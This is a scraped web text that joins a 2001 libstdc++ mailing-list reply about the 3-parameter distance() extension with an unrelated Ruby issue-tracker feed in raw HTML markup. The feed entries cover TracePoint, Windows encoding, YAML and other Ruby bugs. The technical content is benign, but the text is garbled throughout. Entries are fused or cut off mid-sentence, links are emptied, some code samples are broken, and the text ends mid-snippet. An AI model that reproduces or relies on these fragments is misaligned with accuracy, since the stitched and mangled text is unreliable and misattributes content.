Phil Edwards wrote: > On Sun, Dec 30, 2001 at 06:47:40PM +0100, Paolo Carlini wrote: > >. > > This appeals to me. I (personally) feel that the uglified extensions don't > need to be removed from std:: if we're using them as helpers to implement > other things (for example, __uninitialized_copy_fill). We could leave > those where they are, and document them as helper functions. > > Then in ext/* it would simply be a matter of > > namespace __gnu_cxx > { > using std::__uninitialized_copy_fill; > } > > stl_deque.h uses some others also. For example, stl_iterator_base_funcs.h > defines an additional version of std::distance(), taking three parameters. I read your comment in the code. I agree that the 3-parameter version is an extension. > I just now changed deque::_M_range_initialize as follows: > > - size_type __n = 0; > - distance(__first, __last, __n); > + size_type __n = distance(__first, __last); > > The 3-parameter distance() extension is one that should be moved into ext, > since we don't need to use it anywhere in bits/*. Occurrances should be > fixed to use the standard 2-parameter version. Phil, a quick grep reveals that the 3-parameter version is used also elsewhere in bits, i.e.: ./stl_bvector.h:420: distance(__first, __last, __n); ./stl_bvector.h:441: distance(__first, __last, __n); ./stl_bvector.h:604: distance(__first, __last, __len); ./stl_tempbuf.h:141: distance(__first, __last, _M_len); ./stl_tree.h:1026: distance(__p.first, __p.second, __n); ./stl_tree.h:1143: distance(__p.first, __p.second, __n); ./stl_vector.h:466: distance(__first, __last, __n); ./stl_vector.h:587: distance(__first, __last, __len); ./stl_vector.h:756: distance(__first, __last, __n); So, what should we do here? This is one of the *nastiest* cases (very, very few of them luckily!) in which not only an helper accompanying an extension is used by the implementation of the standard library, but the extension itself!! We have two options: 1- Change all those occurrences to a standard 2-parameter version and move to __gnu_cxx both the 3-parameter extension and its helpers. 2- Change the implementation of the standard library to use the corresponding 3-parameter helper __distance and move only the extension itself to __gnu_cxx. Cheers, Paolo. | http://gcc.gnu.org/ml/libstdc++/2001-12/msg00460.html | crawl-001 | refinedweb | 365 | 59.3 |
Ruby Issue Tracking System: Issues 2020-09-15T20:34:44Z Ruby Issue Tracking System Redmine Ruby master - Feature #17171 (Open): Why is the visibility of constants not affected by `private`? 2020-09-15T20:34:44Z marcandre (Marc-Andre Lafortune) marcandre-ruby-core@marc-andre.ca <pre><code class="ruby syntaxhl"><span class="k">class</span> <span class="nc">Foo</span> <span class="k">def</span> <span class="nf">call_me</span> <span class="c1"># ...</span> <span class="k">end</span> <span class="kp">private</span> <span class="no">SOME_DATA</span> <span class="o">=</span> <span class="sx">%i[...]</span><span class="p">.</span><span class="nf">freeze</span> <span class="c1"># is public, why not private?</span> <span class="k">def</span> <span class="nf">calc_stuff</span> <span class="c1"># is private, ok.</span> <span class="c1"># ...</span> <span class="k">end</span> <span class="k">end</span> <span class="sb">```ruby It's probably a naive question, but why shouldn't `</span><span class="no">SOME_DATA</span><span class="sb">`'s visibility be private? When writing gems, more often than not the constants that I write are not meant for public consumption. I find it redundant (and tiresome) to explicitly write `</span><span class="n">private_constant</span> <span class="ss">:SOME_DATA</span><span class="sb">`. </span></code></pre> - Bug #17124 (Open): Wrong "ambiguous first argument" warning 2020-08-18T20:02:54Z marcandre (Marc-Andre Lafortune) marcandre-ruby-core@marc-andre.ca <pre><code class="sh syntaxhl"><span class="nv">$ </span>ruby <span class="nt">-v</span> <span class="nt">-e</span> <span class="s2">"x='a'; x.match? /[a-z]/"</span> ruby 2.8.0dev <span class="o">(</span>2020-07-30T14:07:06Z master 352895b751<span class="o">)</span> <span class="o">[</span>x86_64-darwin18] <span class="nt">-e</span>:1: warning: ambiguous first argument<span class="p">;</span> put parentheses or a space even after <span class="sb">`</span>/<span class="s1">' operator </span></code></pre> <p>There is no <code>/</code> operator in there and there is also no ambiguity as adding a space after the first <code>/</code> is a syntax error.</p> <p>Is it possible to remove the warning altogether when the argument is lexed as a regexp?</p> <p>The message could use a rewording too, maybe "ambiguous first argument; put parentheses around argument or add a space after `/' operator"</p> Ruby master - Bug #17101 (Open): YAML.load_file: Massive slowdown under Ruby 2.7 vs. Ruby 2.4 2020-08-03T15:19:24Z fitmap (Justin Peal) fitmap@163.com <p>When use Ruby 2.4, the following program runs fast, After ungrade to Ruby 2.7, the same program runs very very slow. Please unzip the attach first for test.</p> <p>require 'yaml'<br> YAML.load_file('qlnv_h_h.yaml')</p> Ruby master - Feature #16975 (Open): Warn when value from environment is being ignored by `Dir.t... 2020-06-21T14:22:26Z deivid (David Rodríguez) <p>Currently, if you set <code>ENV["TMPDIR"]</code> to a value that doesn't meet <code>Dir.tmpdir</code> criteria to become the temporary folder, the environment variable is silently ignored and the next variable in the chain is checked.</p> <p>This makes issues quite hard to debug, because the temporary folder can get silently set to a value you don't expect.</p> <p>An example of this is: <a href=""></a>.</p> <p>And I believe some failures I run into in <a href=""></a> were caused by the same issue.</p> <p>Would it be useful to replace the following "silent rescue" to introduce a warning when it's hit?</p> <p><a href=""></a></p> <p>I'm happy to create a PR if this is accepted.</p> Ruby master -=""></a></p> <p>However there are now specs for its current set of features, even though those features have never been discussed or approved as a public API:</p> <p><a href=""></a></p> <p>And we are starting to see it being used by the community:</p> <ul> <li><a href=""></a></li> <li><a href=""></a> </li> <li><a href=""><=""></a></p> <p>But whatever happens it needs to happen soon, since this use case is now a merged feature in Rails master.</p> Ruby master - Bug #16953 (Open): Windows bash bin files removed in master 2020-06-11T18:36:28Z MSP-Greg (Greg L) <p>Master is not creating bash bin files for Windows builds, only files with extensions cmd or bat.</p> <p>Although running Ruby from a bash shell in Windows is probably uncommon, some repo's CI can only be run from a bash shell. A good example is Bundler. With a correctly setup bash shell, it passes with Ruby 2.4 thru master. See <a href=""></a></p> <p>At present, I'm adding the files to ruby-loco's mingw & mswin builds (and also changing <code>#!/usr/bin/env ruby</code> to <code>#! ruby</code>), but having them installed natively would be helpful.</p> - Bug #16889 (Open): TracePoint.enable { ... } also activates the TracePoint for othe... 2020-05-14T13:37:01Z Eregon (Benoit Daloze) <pre><code class="ruby syntaxhl"><span class="n">threads</span> <span class="o">=</span> <span class="p">[]</span> <span class="n">inspects</span> <span class="o">=</span> <span class="p">[]</span> <span class="n">trace</span> <span class="o">=</span> <span class="no">TracePoint</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="ss">:line</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">tp</span><span class="o">|</span> <span class="n">threads</span> <span class="o"><<</span> <span class="no">Thread</span><span class="p">.</span><span class="nf">current</span> <span class="n">inspects</span> <span class="o"><<</span> <span class="n">tp</span><span class="p">.</span><span class="nf">inspect</span> <span class="k">end</span> <span class="n">done</span> <span class="o">=</span> <span class="kp">false</span> <span class="n">thread</span> <span class="o">=</span> <span class="no">Thread</span><span class="p">.</span><span class="nf">new</span> <span class="k">do</span> <span class="no">Thread</span><span class="p">.</span><span class="nf">pass</span> <span class="k">until</span> <span class="n">done</span> <span class="k">end</span> <span class="n">trace</span><span class="p">.</span><span class="nf">enable</span> <span class="k">do</span> <span class="n">line_event</span> <span class="o">=</span> <span class="kp">true</span> <span class="n">done</span> <span class="o">=</span> <span class="kp">true</span> <span class="nb">sleep</span> <span class="mi">1</span> <span class="k">end</span> <span class="n">thread</span><span class="p">.</span><span class="nf">join</span> <span class="c1"># Expected only within enable block (lines 14-16)</span> <span class="nb">puts</span> <span class="n">inspects</span> <span class="c1"># Expected just 1</span> <span class="nb">p</span> <span class="n">threads</span><span class="p">.</span><span class="nf">uniq</span> </code></pre> <p>Results in:</p> <pre>$>] </pre> <p>But I expected:</p> <pre>#<TracePoint:line@tpbug.rb:14> #<TracePoint:line@tpbug.rb:15> #<TracePoint:line@tpbug.rb:16> [#<Thread:0x00005571134e3340 run>] </pre> <p>Because the RDoc says:</p> <pre>If a block is given, the trace will only be enabled within the scope of the block. </pre> <p>For background I'm trying to improve the TracePoint specs in ruby/spec, but they are proving quite unreliable due to this.</p> <p><a class="user active" href="">ko1 (Koichi Sasada)</a> Thoughts?<>Traceback (most recent call last): 3: from foo.rb:4:in `<main>' 2: from foo.rb:3:in `c' 1: from foo.rb:2:in `b' foo.rb:1:in `a': unhandled exception <>foo.rb:1:in `a': unhandled exception 1: from foo.rb:2:in `b' 2: from foo.rb:3:in `c' 3: from foo.rb:4:in `<main>' <>Traceback (most recent call last): 3: to foo.rb:4:in `<main>' 2: to foo.rb:3:in `c' 1: to foo.rb:2:in `b' foo.rb:1:in `a': unhandled exception </pre> <p>Or, as an alternative, if it looks unnatural to have "to" in the first line, and to lack one before the message line, we may put it at the end of a line:</p> <p><strong>Proposed 2</strong></p> <pre>Traceback (most recent call last) 3: foo.rb:4:in `<main>' to: 2: foo.rb:3:in `c' to: 1: foo.rb:2:in `b' to: foo.rb:1:in `a': unhandled exception <" } </pre> <p>This would allow an API that feels a bit more intuitive. You still have to know the formatting symbols, but it creates a much more expressive statement:</p> <pre># The current time, to string. What kind of string? A Y-m-d string. Time.now.to_s('%Y-%m-%d') </pre> <p>(As an aside for discussion, I feel this way about formatting things like Floats and other numbers also. That API is equally confusing, and a holdover from history in comp-sci.)</p> Ruby master - Bug #16623 (Open): Windows ENV encoding 2020-02-10T23:39:52Z MSP-Greg (Greg L) <p>Actions has some issues with Windows CI, most related to the console encoding. I thought I'd start with the spec tests and see what was failing.</p> <p>On a standard Windows 10 desktop, console encoding is IBM437. ENV.keys and ENV.values are all encoded IBM437.</p> <p>When the console is switched to UTF-8, ENV.keys and ENV.values are all encoded ASCII-8BIT.</p> <p>I verified this using both cmd and PowerShell consoles, using both mingw and mswin builds.</p> <p>On cmd console, <code>chcp</code> changes Ruby's external & locale encodings, the PowerShell command that mimics it is <code>[Console]::InputEncoding</code>.< - - Bug #16383 (Open): TracePoint does not report calls to attribute reader methods 2019-11-30T03:17:18Z AndyMaleh (Andy Maleh) <p>TracePoint does not report calls to attribute reader methods (e.g. methods defined using <code>attr_accessor</code> or <code>attr_reader</code>.)</p> <p><strong>Code sample to demonstrate:</strong></p> <pre><code class="ruby syntaxhl"><span class="k">class</span> <span class="nc">Person</span> <span class="nb">attr_accessor</span> <span class="ss">:first_name</span> <span class="nb">attr_accessor<> <span class="k">class</span> <span class="nc">Person</span> <span class="nb">attr_writer</span> <span class="ss">:first_name</span> <span class="nb">attr_writer<">def</span> <span class="nf">first_name</span> <span class="vi">@first_name</span> <span class="k">end</span> <span class="k">def</span> <span class="nf">last_name</span> <span class="vi">@last_name<> </code></pre> <p><strong>Output:</strong></p> <pre>["trace_point_issue.rb", 4, Person, :call, :name] ["trace_point_issue.rb", 22, Person, :call, :name] ["trace_point_issue.rb", 28, Person, :call, :last_name] ["trace_point_issue.rb", 25, Person, :call, :first_name] </pre> <p>Please note how <code>:last_name</code> and <code>:first_name</code> show up only the second time <code>Person#name</code> is called. In other words, they show up when defined as actual methods using <code>def</code> keyword, but not when defined via <code>attr_accessor</code>.</p> <p><strong>Expected Output:</strong></p> <pre>[] </pre> <p>Your help in fixing or explaining this issue is greatly appreciated.</p> <p>My goal is to monitor all method calls when invoking a certain method (Person#name in this case) in order to attach observers to them dynamically for desktop UI data-binding use in my open-source project Glimmer: <a href=""></a></p> <p>Cheers,</p> <p>Andy Maleh</p> Ruby master - Bug #16277 (Open): UNIXServer#listen fails with Errno::EADDRINUSE error under Windo... 2019-10-23T20:20:26Z bradland (Brad Landers) brad@bradlanders.com <p>When running the following script under Windows 10 / WSL Ubuntu 18.04, an Errno::EADDRINUSE error is thrown. Expected result is that the script would run and simply exit.</p> <pre><code class="ruby syntaxhl"><span class="c1">#!/usr/bin/env ruby</span> <span class="c1"># This script establishes a UNIX server socket.</span> <span class="c1"># </span> <span class="c1"># Expected result: Script should run and immediately exit.</span> <span class="c1"># </span> <span class="c1"># Actual result: Script fails with Errno::EADDRINUSE error.</span> <span class="c1"># </span> <span class="c1"># Environment: Windows 10 Pro, WSL, Ubuntu 18.04.2, ruby 2.6.5p114 (2019-10-01 revision 67812) [x86_64-linux-gnu]</span> <span class="c1"># </span> <span class="c1"># To reproduce: Create a tmp folder, copy this script there, and execute.</span> <span class="nb">require</span> <span class="s1">'socket'</span> <span class="n">path</span> <span class="o">=</span> <span class="no">File</span><span class="p">.</span><span class="nf">expand_path</span><span class="p">(</span><span class="s1">'listen.sock'</span><span class="p">)</span> <span class="n">backlog</span> <span class="o">=</span> <span class="mi">5</span> <span class="n">s</span> <span class="o">=</span> <span class="no">UNIXServer</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="n">path</span><span class="p">)</span> <span class="k">if</span> <span class="n">backlog</span> <span class="n">s</span><span class="p">.</span><span class="nf">listen</span> <span class="n">backlog</span> <span class="k">else</span> <span class="n">s</span><span class="p">.</span><span class="nf">listen</span> <span class="k">end</span> <span class="no">File</span><span class="p">.</span><span class="nf">delete</span><span class="p">(</span><span class="n">path</span><span class="p">)</span> <span class="k">if</span> <span class="no">File</span><span class="p">.</span><span class="nf">exists?</span><span class="p">(</span><span class="n">path</span><span class="p">)</span> </code></pre> <p>The bug was discoverd as part of Puma (gem) issue #1521: <a href=""></a>.</p> Ruby master - Feature #16233 (Open): winruby UTF8 Fallback for no CodePage 2019-10-03T07:29:36Z gabuscus (Gabriel Nagy) <p>This is to deal specifically with setting the Region to Arabic which<br> sets the codepage to 720. This codepage isn't recognised by Ruby which<br> causes it to fail during initialisation when setting up LOCALE.</p> <p>This patch to Ruby is necessary to handle languages/regions on windows<br> where the codepage is not supported by Ruby such as Arabic which uses <br> codepage 720.<br> If the codepage is not found, the Locale falls back to UTF8.</p> <p>This is a well known Ruby/Ruby on Rails issue which is described at<br> <a href=""></a></p> <p>Opened PR: <a href=""></a>< -54 (Open): Tracing instance variable assignment 2019-05-16T06:34:55Z igaiga (Kuniaki IGARASHI) igaiga@gmail.com <p>I suggest a feature "tracing instance variable assignment". It's useful for debugging.</p> <p>Use case:</p> <p>In Rails, we use instance variables in views and controllers. When we got a bug caused by instance variable unintentional values, if we traced instance variable assignment timing, it would be good informations.</p> <p>And in Rails views, there are no source codes of self class. That's built dynamically.</p> <p>Current behavior (Ruby2.6):</p> <p>In Ruby 2.6, only if there is a source code file to assign instance variable, we can trace instance variable assignment by following code (check_instance_variable_assignment.rb). But it's difficult if the assignment codes are defined dynamically. For example, in Rails view.</p> <p>(And in another story, global variables assignment are traced by Kernel#trace_var.)</p> <p>check_instance_variable_assignment.rb</p> <pre><code class="ruby syntaxhl"><span class="k">def</span> <span class="nf">trace_start</span> <span class="no">TracePoint</span><span class="p">.</span><span class="nf">trace</span><span class="p">(</span><span class="ss">:line<="n">line</span> <span class="o">=</span> <span class="no">File</span><span class="p">.</span><span class="nf">open</span><span class="p">(</span><span class="n">tp</span><span class="p">.</span><span class="nf">path</span><span class="p">,</span> <span class="s2">"r"</span><span class="p">){</span><span class="o">|</span><span class="n">f</span><span class="o">|</span> <span class="n">f</span><span class="p">.</span><span class="nf">readlines</span><span class="p">[</span><span class="n">tp</span><span class="p">.</span><span class="nf">lineno</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="p">}</span> <span class="n">node</span> <span class="o">=</span> <span class="no">RubyVM</span><span class="o">::</span><span class="no">AbstractSyntaxTree</span><span class="p">.</span><span class="nf">parse</span><span class="p">(</span><span class="n">line</span><span class="p">).</span><span class="nf">children</span><span class="p">.</span><span class="nf">last</span> <span class="c1"># check instance variable assignment</span> <span class="k">next</span> <span class="k">unless</span> <span class="n">node</span><span class="p">.</span><span class="nf">type</span> <span class="o">==</span> <span class="ss">:IASGN<="n">instance_variable_name</span> <span class="o">=</span> <span class="n">node</span><span class="p">.</span><span class="nf">children</span><span class="p">.</span><span class="nf">first</span> <span class="k">next</span> <span class="k">unless</span> <span class="n">instance_variable_name</span> <span class="o">==</span> <span class="n">target_instance_variable_name</span><span class="p">.</span><span class="nf">to_sym<">defined_class</span><span class="si">}</span><span class="s2"> </span><span class="si">#{</span><span class="n">tp</span><span class="p">.</span><span class="nf">method_id</span><span class="si">}</span><span class="s2">"</span> <span class="k">end</span> <span class="k">end</span> <span class="k">class</span> <span class="nc">Foo</span> <span class="k">def</span> <span class="nf">bar</span> <span class="vi">@bar</span> <span class="o">=</span> <span class="s2">"text"</span> <span class="k">end</span> <span class="k">end</span> <span class="n">trace_start</span> <span class="no">Foo</span><span class="p">.</span><span class="nf">new</span><span class="p">.</span><span class="nf">bar</span> <span class="c1">#=> Foo @bar is assigned in check_instance_variable_assignment.rb:25 Foo bar</span> </code></pre> <p>Suggesting feature example:</p> <p>Add new arguments for TracePoint.new method like :line and :call to trace instance variables assignment.</p> <ul> <li>:iasgn (IASGN name from RubyVM::AbstractSyntaxTree::Node)</li> <li>:casgn (CVASGN (or CASGN?) name from RubyVM::AbstractSyntaxTree::Node. I think class variables tracing is useful too.)</li> </ul> <p>And get informations</p> <ul> <li>class name (It might be get by trace_point.self)</li> <li>variable name ("@foo", "@@foo")</li> </ul> <p>A sample code to use the feature:</p> <p>tp_iasgn.rb</p> <pre><code class="ruby syntaxhl"><span class="no">TracePoint</span><span class="p">.</span><span class="nf">trace</span><span class="p">(</span><span class="ss">:iasgn<="k">next</span> <span class="k">unless</span> <span class="n">target_instance_variable_name</span> <span class="o">==</span> <span class="n">tp</span><span class="p">.</span><span class="nf">variable_name<">method_id</span><span class="si">}</span><span class="s2"> </span><span class="si">#{</span><span class="n">tp</span><span class="p">.</span><span class="nf">defined_class</span><span class="si">}</span><span class="s2">"</span> <span class="nb">puts</span> <span class="nb">caller</span> <span class="c1"># even in dynamic code case, we can get caller informations.</span> <span class="k">end</span> </code></pre>>gtk_combo_box.rb:17: warning: undefining `initialize' may cause serious problems <.<55 (Open): Unable to handle Russian dirname on Windows 2019-03-11T10:08:55Z ashmaroli (Ashwin Maroli) <p>I'm unable to work in a directory with a Russian name.<br> Running <code>bundle exec ...</code> returns an error from Bundler saying that it couldn't locate the Gemfile (which is present)</p> <pre><code class="shell syntaxhl"><span class="c"># print current directory</span> <span class="o">></span> <span class="nb">echo</span> %CD% <span class="o">=></span> D:<span class="se">\Е</span>вгений <span class="c"># print contents at root</span> <span class="o">></span> <span class="nb">ls</span> <span class="o">=></span> 404.html Gemfile _config.yml _posts about.markdown index.markdown <span class="c"># List dependencies via Bundler</span> <span class="o">></span> bundle show <span class="o">=></span> Could not locate Gemfile or .bundle/ directory <span class="c"># Debug in IRB</span> <span class="o">></span> irb irb<span class="o">(</span>main<span class="o">)</span>:001:0> Dir.pwd <span class="o">=></span> <span class="s2">"D:/???????"</span> </code></pre> Ruby master - Bug #15634 (Open): TracePoint seems to be skipping some methods. 2019-03-04T09:56:37Z ioquatix (Samuel Williams) samuel@oriontransfer.net <pre><code class="ruby syntaxhl"> -> Ruby master - Bug #14889 (Open): TracePoint for :line never seems to trigger on argument list. Ma... 2018-07-01T12:12:33Z ioquatix (Samuel Williams) samuel@oriontransfer.net <p>I have the following code.</p> <pre> 30 1| def print_summary( 31 0| output = $stdout 32 | ) </pre> <p>In the margin is the line number followed by the number of hits according to <code>:line</code> trace point.</p> <p>I feel like line 31 should also trigger a line trace point. It's an argument, but it must be executed.</p> <p>Maybe a different trace point? <code>:argument</code>?< -=""></a></li> <li><a href=""></a></li> <li><a href=""></a></li> </ul> Ruby master - Bug #14726 (Open): wrong message when superclass is not a Class 2018-05-01T01:49:16Z usa (Usaku NAKAMURA) usa@garbagecollect.jp <p>クラス定義の際に親クラスとして<code>Class</code>でないものを与えると<code>TypeError</code>になりますが、その際にエラーメッセージに与えられたもののクラス名が表示されるため、メッセージだけ見ると何が間違ってるのかわけがわからなくなっています。</p> <pre><code class="ruby syntaxhl"><span class="k">class</span> <span class="nc">C1</span><span class="p">;</span> <span class="k">end</span> <span class="k">class</span> <span class="nc">C2</span> <span class="o"><</span> <span class="no">C1</span><span class="p">.</span><span class="nf">new</span><span class="p">;</span> <span class="k">end</span> <span class="c1">#=> TypeError (superclass must be a Class (C1 given))</span> </code></pre> <p>ここはクラス名ではなく与えられたオブジェクトそのものを表示すべきではないでしょうか？</p> <pre><code class="diff syntaxhl"><span class="gh">Index: class.c =================================================================== </span><span class="gd">--- class.c (revision 63310) </span><span class="gi">+++ class.c (working copy) </span><span class="p">@@ -221,7 +221,7 @@</span> { if (!RB_TYPE_P(super, T_CLASS)) { rb_raise(rb_eTypeError, "superclass must be a Class (%"PRIsVALUE" given)", <span class="gd">- rb_obj_class(super)); </span><span class="gi">+ super); </span> } if (RBASIC(super)->flags & FL_SINGLETON) { rb_raise(rb_eTypeError, "can't make subclass of singleton class"); <span class="gh">Index: vm_insnhelper.c =================================================================== </span><span class="gd">--- vm_insnhelper.c (revision 63310) </span><span class="gi">+++ vm_insnhelper.c (working copy) </span><span class="p">@@ -3150,7 +3150,7 @@</span> if (VM_DEFINECLASS_HAS_SUPERCLASS_P(flags) && !RB_TYPE_P(super, T_CLASS)) { rb_raise(rb_eTypeError, "superclass must be a Class (%"PRIsVALUE" given)", <span class="gd">- rb_obj_class(super)); </span><span class="gi">+ super); </span> } vm_check_if_namespace(cbase); </code></pre> Ruby master -): use new functions to perform GC while GVL is uncontended and GC is lazy sweeping or incremental marking [ruby-core:86265] ```</li> </ul> <p>2 part patch broken out<br> <a href=""></a><br> <a href=""></a></p> <p>Also on my "sleepy-gc" git branch @ git://80x24.org/ruby.git</p>=""></a><br> <a href=""></a><br> <a href=""></a></p> <p>Redis moved to jemalloc many years ago and it solved all of their memory issues too. Their conclusion: the glibc allocator "sucks really really hard". <a href=""></a></p> <p>This is a real pain point for the entire Rails community and would improve Ruby's reputation immensely if we can solve this problem.</p> Ruby master - Bug #14640 (Open): [win32] File.realpath treats a relative path with a drive letter... 2018-03-28T16:18:34Z nobu (Nobuyoshi Nakada) nobu@ruby-lang.org <p>When <code>t</code> exists in the current directory under the drive C:,</p> <pre><code class="ruby syntaxhl"><span class="no">File</span><span class="p">.</span><span class="nf">realpath</span><span class="p">(</span><span class="s2">"c:t"</span><span class="p">)</span> <span class="c1">#=> No such file or directory @ realpath_rec - c:/t (Errno::ENOENT)</span> </code></pre> <p>whereas <code>File.expand_path</code> returns <code>Dir.pwd + "/t"</code>.<">> </code></pre> <p>and I want to navigate confidently and raise a KeyError if something is missing, I can do:</p> <pre><code class="ruby syntaxhl">); } </pre> <p>dtrace was something similar to it.</p> <p>I was expecting to see this output:</p> <pre># </pre> <p>(The output above is 2.4)</p> <p>my ruby (all versions that I tested) was install with rb-env:</p> <pre>RUBY_CONFIGURE_OPTS='--enable-dtrace --disable-install-doc' rbenv install 2.5.0 </pre> <p>I am happy to provide details if required. I'd also be happy to fix it if I have guidance.</p> <p>Thanks,</p> Ruby master - Bug #14570 (Open): Wired behavior of File.expand_path() on Windows 2018-03-02T21:31:19Z larskanis (Lars Kanis) <p><code>File.realpath</code> returns the path with the same upper/lower case characters as the input parameter. But <code>File.expand_path</code> is different. It adjusts the last part of the path (and only this) to the upper/lower case characters given from the file system.</p> <pre" </pre> <p>The file system on Windows is case insensitive. So this is not really a bug, but it's inconsistent and unexpected. I would expect that <code>File.expand_path</code> returns a path with upper/lowercase either entirely retrieved from the input parameter or from the file system, but not a mixture of both. I would also expect that <code>File.realpath</code> and <code>File.expand_path</code> have the same semantics in this regard.</p> <p>Same behavior on <code>ruby 2.2.2p95 (2015-04-13 revision 50295) [x64-mingw32]</code><"><span class="n">uri</span><span class="p">.</span><span class="nf">instance_of?</span><span class="p">(</span><span class="no">URI</span><span class="o">::</span><span class="no">HTTPS</span><span class="p">)</span> </code></pre> <p>Inspired by this question: <a href=""></a></p> Ruby master - Bug #14367 (Open): Wrong interpretation of backslash C in regexp literals 2018-01-17T08:18:46Z shyouhei (Shyouhei Urabe) shyouhei@ruby-lang.org <p>Following ruby code returns nil.</p> <pre><code class="sh syntaxhl">% <span class="nv">LC_ALL</span><span class="o">=</span>C ruby <span class="nt">-ve</span> <span class="s1">'p(/\c\xFF/ =~ "\c\xFF")'</span> ruby 2.6.0dev <span class="o">(</span>2018-01-16 trunk 61875<span class="o">)</span> <span class="o">[</span>x86_64-darwin15] nil </code></pre> <p>Is this intentional?<>coclass Good { [default] interface GoodIface2; interface GoodIface1; }; interface GoodIface1 : IDispatch { // snip }; interface GoodIface2 : GoodIface1 { // snip }; </pre> <p>however, it fails to work for the following</p> <pre>coclass Bad { [default] interface BadIface1; interface BadIface2; }; interface BadIface1 : IDispatch { // snip }; interface BadIface2 : IDispatch { // snip }; <>LIBNAME = 'xxx' TYPELIB = WIN32OLE_TYPELIB.new(LIBNAME) lic = 'xxxx' foo = WIN32OLE.new( TYPELIB.ole_type.find { |t| t.name == 'Foo' }, nil, license: lic, iface: '{00000000-0000-0000-0000-000000000000}' ) foo.Bar(1, 2, 'foobar') </pre> <p>as you can see, except for the need to specify the interface, it works exactly<br> same as normal classes.</p> <p>Please consider for merge <code>^_^</code></p> Ruby master - Feature #14225 (Open): untaint hash key strings 2017-12-23T02:08:40Z normalperson (Eric Wong) normalperson@yhbt.net <p>Since we are working on deprecating and removing $SAFE for [Feature <a class="issue tracker-2 status-6 priority-4 priority-default closed" title="Feature: $SAFE should be removed (Rejected)" href="">#5455</a>],<br> I propose untainting all string keys used for hashes in Ruby 2.6.</p> <p>It will make implementing <a href="fstring dedupe of hash keys" class="external">Feature #13725</a> easier.</p> <p>Furthermore, Perl (which I assume is the influence for tainting in Ruby) does<br> not taint hash keys. In fact, perlsec(1) manpage states:<br> "Hash keys are never tainted"<br> cf. <a href="">< - Bug #14137 (Open): Windows / MinGW - Regexp - Character Properties - General Category 2017-11-28T15:38:56Z MSP-Greg (Greg L) <p>While testing RDoc on Appveyor, and the recently 'added' literals.kpeg file, I had several errors across Ruby versions 2.2 thru trunk.</p> <p>It seems that the <code>\p{}</code> constructs listed <a href="" class="external">here</a> under 'General Category' generate an <code>invalid character property name {**}</code> error for many of the listed constructs.</p> <p>Conversely, the constructs listed previously (eg \p{Alpha}, \p{Lower}, \p{Space}, etc) seem to work.</p> <p>I briefly looked at the regexp tests, and they don't seem to test these.</p> <p>Are these unavailable on Windows?</p> Ruby master -=""></a></p> <p>Then POSIX.1-2008 removed those functions.</p> <p>But OS X 10.13 still has them maybe because some essential applications uses them for co-routines.<br> Therefore we can use them for performance.</p> <pre)) </pre> Ruby master - Feature #13763 (Open): Trigger "unused variable warning" for unused variables in pa... 2017-07-24T12:16:29Z rovf (Ronald Fischer) ynnor@mm.st <p>Consider the following program nowa.rb:</p> <pre>def foo(a) end %w(x).each {|y|} foo(1) z=5 </pre> <p>If I syntax-check it with <em>ruby -cw nowa.rb</em> I get the following warning:</p> <pre>nowa.rb:5: warning: assigned but unused variable - z <>undefined method `now=' for Time:Class (NoMethodError) < - Bug #13392 (Open): TracePoint doesn't work correct with monkey patches / aliased me... 2017-03-31T20:39:09Z areman01 (André Kullmann) <p><strong>Command</strong></p> <pre><code class="ruby syntaxhl"><span class="n">ruby</span> <span class="n">tracepoint_bug</span><span class="p">.</span><span class="nf">rb</span> </code></pre> <p><strong>Output</strong></p> <pre>ruby-2.4.1-p111 (x86_64-linux) tracepoint_bug_ext.rb:4 call to_s tracepoint_bug_ext.rb:5 c_call to_s tracepoint_bug_ext.rb:5 c_return to_s racepoint_bug.rb:12 return to_s </pre> <p>Why the <strong>call event</strong> on <em>to_s</em> is in file <em>tracepoint_bug_ext.rb</em> and the <strong>return event</strong> in file <em>tracepoint_bug.rb</em>? I think it's a bug. In jruby, for example, the call and the return event are both fired in the tracepoint_bug_ext.rb file. </p> - Bug #13094 (Open): Zlib::GzipReader eof?がfalseなのにgetsでnilが返ってくる 2017-01-02T03:35:46Z iehn (Hironao TSUTSUMIDA) <p>下記のように、eof?がfalseであればgetsでnilが返ってくることはないことを期待してるとエラーが起きてしまいます。<br> zlibでeof?は非推奨でしょうか？</p> <pre><code class="ruby syntaxhl"><span class="nb">require</span> <span class="s1">'zlib'</span> <span class="n">o</span> <span class="o">=</span> <span class="p">(</span><span class="s1">'!'</span><span class="o">..</span><span class="s1">'~'</span><span class="p">).</span><span class="nf">to_a</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">225</span> <span class="mi">1000</span><span class="p">.</span><span class="nf">times</span> <span class="k">do</span> <span class="no">Zlib</span><span class="o">::</span><span class="no">GzipWriter</span><span class="p">.</span><span class="nf">open</span><span class="p">(</span><span class="s1">'./s.gz'</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">gz</span><span class="o">|</span> <span class="n">i</span><span class="p">.</span><span class="nf">times</span> <span class="k">do</span> <span class="n">gz</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="n">o</span><span class="p">.</span><span class="nf">sample</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span><span class="o">*</span><span class="s2">""</span><span class="o">+</span><span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span> <span class="k">end</span> <span class="k">end</span> <span class="no">Zlib</span><span class="o">::</span><span class="no">GzipReader</span><span class="p">.</span><span class="nf">open</span><span class="p">(</span><span class="s2">"./s.gz"</span><span class="p">)</span> <span class="p">{</span> <span class="o">|</span><span class="n">gz</span><span class="o">|</span> <span class="nb">puts</span> <span class="n">gz</span><span class="p">.</span><span class="nf">gets</span><span class="p">.</span><span class="nf">chomp!</span> <span class="k">until</span> <span class="n">gz</span><span class="p">.</span><span class="nf">eof?</span> <span class="p">}</span> <span class="nb">puts</span> <span class="s2">"</span><span class="si">#{</span><span class="n">i</span><span class="si">}</span><span class="s2">, </span><span class="si">#{</span><span class="no">File</span><span class="p">.</span><span class="nf">size</span><span class="p">(</span><span class="s1">'./s.gz'</span><span class="p">)</span><span class="si">}</span><span class="s2">"</span> <span class="k">if</span> <span class="no">File</span><span class="p">.</span><span class="nf">size</span><span class="p">(</span><span class="s1">'./s.gz'</span><span class="p">)</span> <span class="o">></span> <span class="mi">2058</span> <span class="n">i</span> <span class="o">-=</span> <span class="mi">1</span> <span class="k">else</span> <span 